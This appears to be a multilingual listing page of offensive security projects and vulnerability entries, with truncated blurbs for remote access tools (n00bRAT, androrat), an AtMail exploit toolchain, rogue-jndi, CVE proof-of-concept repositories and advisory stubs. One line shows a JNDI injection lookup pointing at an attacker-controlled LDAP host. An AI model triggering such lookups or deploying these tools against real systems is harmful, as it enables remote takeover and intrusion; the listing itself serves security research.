n00bRAT

n00bRAT v0.7 보안 스캐너 지문 인식을 위한 최소한의 HTTP 서버를 에뮬레이션하는 작은 C 프로그램입니다. 이 가짜 HTTPv0.1 프로토콜을 통해 기계를 제어할 수 있게 해줍니다. 이 n00b 서버는 대학 시절 모의 해킹Ethical Hacking 강좌에서 RAT로 제작되었습니다. 그것이 무엇인지 / 왜 그런지 / 등등 자세한 내용은 PDF 리더로 n00bRAT 보고서를 읽어보세요 설치 방법 방법 1: a. 명령 셸을 엽니다. b. n00bRAT 디렉터리로 이동합니다. c. 다음 과정을 실행합니다: gcc -o...

Atmail-exploit-toolchain

AtMail 이메일 서버 어플라이언스 6.4 - 익스플로잇 툴체인 XSS CSRF RCE PacketStorm WLB-2020080010 고지: 이 익스플로잇 툴체인은 EDB-ID 20009에서 영감을 받았습니다. 목표 이 익스플로잇 툴체인의 목표는 EDB-ID 20009를 대체하는 것입니다. 이 툴체인이 EDB-ID 20009 익스플로잇보다 가지는 장점: 사용하기 간단함 재사용 가능 동적으로 생성되는 페이로드 쉽게 편집/변조 가능 명확한 코드와 플러그인 제공 EDB-ID 20009 익스플로잇의 단점: 사용자 지정 불가 정적으...

CVE-2026-66141 vulnerabilities

Vulnerabilities for packages: exim...

GHSA-F965-GHFW-X6JX vulnerabilities

Vulnerabilities for packages: exim...

GHSA-332R-8PMF-8M9P vulnerabilities

Vulnerabilities for packages: wget...

GHSA-RCVQ-M9J9-6F4G vulnerabilities

Vulnerabilities for packages: opensearch-dashboards...

CVE-2026-48022 vulnerabilities

Vulnerabilities for packages: opensearch-dashboards...

CVE-2026-73499 vulnerabilities

Vulnerabilities for packages: kine, dapr...

CVE-2026-2092 vulnerabilities

Vulnerabilities for packages: keycloak...

GHSA-F965-GHFW-X6JX vulnerabilities

Vulnerabilities for packages: exim...

CVE-2026-66140 vulnerabilities

Vulnerabilities for packages: exim...

GHSA-Q496-Q274-JGH9 vulnerabilities

Vulnerabilities for packages: exim...

GO-2026-6094 vulnerabilities

Vulnerabilities for packages: kwok, cluster-api-aws-controller, vcluster, crossplane, tekton-chains, flux-helm-controller, apisix-ingress-controller, kubernetes-csi-external-resizer, cass-operator, cloud-provider-vsphere, spicedb, datadog-operator, rancher-system-agent, azure-service-operator,...

rogue-jndi

Rogue JNDI JNDI 인젝션 공격을 위한 악성 LDAP 서버. 설명 이 프로젝트는 기본적으로 안전하지 않은 Java JNDI API를 악용하기 위한 LDAP 및 HTTP 서버를 포함합니다. 공격을 수행하려면 로컬에서 이러한 서버를 시작한 다음 취약한 클라이언트에서 JNDI 조회를 트리거할 수 있습니다. 예: root@kitploit: InitialContext.doLookup"ldap://yourserver.com:1389/o=reference"; 그러면 취약한 클라이언트에서 로컬 LDAP 서버로의 연결이 시작됩니다. ...

androrat

androrat Инструмент удалённого администрирования для Android Androrat — это клиент-серверное приложение, разработанное на Java Android для клиентской части и на Java/Swing для сервера. Название Androrat — это сочетание слов Android и RAT Remote Access Tool, инструмент удалённого доступа. Оно было...

CVE-2026-33267-PoC

CVE-2026-33267 — Apache Traffic Server의 신뢰할 수 없는 @ 헤더 → 내부 메타데이터 스푸핑 CVSS 10.0 치명적 · CWE-20 · GHSA-jrh6-9hgv-mqm7 요약 Apache Traffic Server는 @ 접두사가 붙은 헤더@Ats-Internal, @ICAP-Status, @TCPInfo, ...를 내부 메타데이터 로 예약한다. 이 헤더는 메모리 내 헤더 구조에 존재하지만 네트워크로 직렬화되지 않는다. 취약한 버전9.2.0–9.2.14, 10.1.0–10.1.3에서는 클라이언트...

CVE-2025-55182-React2Shell

React2Shell React2Shell — это эксплойт уровня proof-of-concept PoC, демонстрирующий CRITICAL-уязвимость удалённого выполнения кода RCE в современных веб-фреймворках, использующих React Server Components RSC. Данный PoC нацелен на CVE-2025-55182 , уязвимость с рейтингом CVSS 10.0, которая позволяе...

ctxdebug

リバースエンジニアリングのミッションコントロール 1つのstdioインターフェース · 160以上のツール · 3つのデバッガ、1つのミッションコントロール。 クイックスタート · アーキテクチャ · サーバー · ワークフロー · 問題を報告 ウェブサイト · ctxdebug.xyz · 連絡先 · [email protected] · ステータス · パブリックアルファ 認可されたリバースエンジニアリング、デバッグ、セキュリティ研究のために作られています。 ▎ 概要 ctxdebug は、WinDbg 、IDA Pro 9.x 、x64dbg...

CVE-2026-76795 AeternaLabsHQ PullMD REST API Endpoint api server-side request forgery

A vulnerability has been found in AeternaLabsHQ PullMD 3.2.0. This impacts an unknown function of the file /api of the component REST API Endpoint. The manipulation of the argument url leads to server-side request forgery. The attack can be initiated remotely. The exploit has been disclosed to th...

CVE-2026-76795

PullMD 3.2.0's REST API endpoint at /api accepts an unvalidated url argument, enabling remote server-side request forgery (SSRF). CVSS 3.1 scores it HIGH (7.3, network vector, no auth required). A public PoC exploit exists. Upgrade to version 3.3.0 (patch commit 96448894cc93ccecb0bdcbf263a9d25390...